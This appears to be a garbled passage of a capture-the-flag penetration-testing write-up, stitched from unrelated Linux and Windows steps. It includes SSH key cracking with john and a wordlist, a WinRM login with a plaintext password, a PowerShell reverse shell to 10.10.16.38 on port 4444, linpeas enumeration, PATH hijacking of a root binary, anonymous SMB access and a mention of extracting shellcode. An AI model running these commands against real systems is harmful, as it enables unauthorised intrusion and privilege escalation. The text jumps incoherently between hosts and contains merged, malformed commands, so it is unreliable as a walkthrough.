However, we still encounter issues. Let's try to use PowerShell to execute a command:

ssh2john id_rsa > id_rsa.hash john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

Medium Machine IP: 10.10.11.XX (Replace with actual IP)

winrm -remote:localhost -user:Administrator -password: P@ssw0rd!

.\Invoke-PowerShellTcpip.ps1 -Reverse -Ip 10.10.16.38 -Port 4444

Once on the box as www-data , we run standard enumeration scripts like linpeas.sh .

We find a custom binary located at /opt/cleanup running as root. Using strings on the binary, we see it calls system commands (like ls or rm ) without using the absolute path.

smbclient //10.10.11.193/backup -U anonymous

With elevated privileges, we can navigate to the Administrator's desktop and retrieve the flag:

Participants have noted finding "garbled" data or potential shellcode embedded within the streams. 2. Shellcode Extraction & Identification